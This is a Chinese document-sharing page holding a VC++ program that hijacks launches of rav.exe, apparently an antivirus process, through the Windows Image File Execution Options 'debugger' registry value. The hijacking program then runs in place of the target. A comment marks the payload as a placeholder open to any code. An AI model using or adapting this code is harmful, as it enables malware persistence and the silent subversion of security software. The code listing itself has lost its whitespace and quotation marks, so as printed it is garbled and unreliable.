您好,欢迎访问三七文档
当前位置:首页 > 金融/证券 > 金融资料 > VC++实现镜像劫持(360保险箱启动原理)
#includestdafx.h#includestdio.h#includewindows.hintmain(intargc,char*argv[]){chartemp[256];DWORDret;LPCTSTRszRegKey=SOFTWARE\\Microsoft\\WindowsNT\\CurrentVersion\\ImageFileExecutionOptions;//定义字符串指针,保存映像劫持的键位HKEYh_KEY;if(argc!=1)//如果参数不是1个,提取第2个参数,也就是被劫持程序的路径{memset(temp,0,256);strcpy(temp,argv[1]);for(inti=0;istrlen(temp);i++)//将路径中的\换为/,也可以换为\\,就是代码长了点{if(temp[i]=='\\')temp[i]='/';}ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey,0,KEY_ALL_ACCESS,&h_KEY);//打开注册表中需要映像劫持的子键获得句柄if(ret==ERROR_SUCCESS){printf(openok!\n);if(ERROR_SUCCESS==RegDeleteKey(h_KEY,rav.exe))//将上面打开的子键下的rav子键删除{printf(deleteok!\n);RegCloseKey(h_KEY);WinExec(temp,SW_SHOW);//运行被劫持的程序}else{printf(deletefailed!\n);RegCloseKey(h_KEY);}}elseprintf(openfailed!\n);}memset(temp,0,256);GetModuleFileName(NULL,temp,256);//得到程序自己的路径,为下面写入注册表做准备HKEYhResultKey=NULL;if(ERROR_SUCCESS==RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey,0,KEY_ALL_ACCESS,&h_KEY))//打开注册表中映像劫持的子键,获得句柄{DWORDdw;ret=RegCreateKeyEx(h_KEY,rav.exe,0,REG_NONE,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hResultKey,&dw);//在上面打开的子键下创建rav子键并打开,获得句柄if(ret!=ERROR_SUCCESS){RegCloseKey(h_KEY);printf(creatfailed!\n);return1;}printf(creatok!\n);ret=RegSetValueEx(hResultKey,debugger,0,REG_SZ,(constBYTE*)temp,strlen(temp)+1);//在rav键上创建debugger键并设置值为本程序的路径用于映像劫持if(ret!=ERROR_SUCCESS){RegCloseKey(h_KEY);RegCloseKey(hResultKey);return1;}RegCloseKey(h_KEY);RegCloseKey(hResultKey);printf(setok!\n);}MessageBox(NULL,ok!,成功!,MB_OK);//用于测试程序,可换为其他需要执行代码return0;}
本文标题:VC++实现镜像劫持(360保险箱启动原理)
链接地址:https://www.777doc.com/doc-222274 .html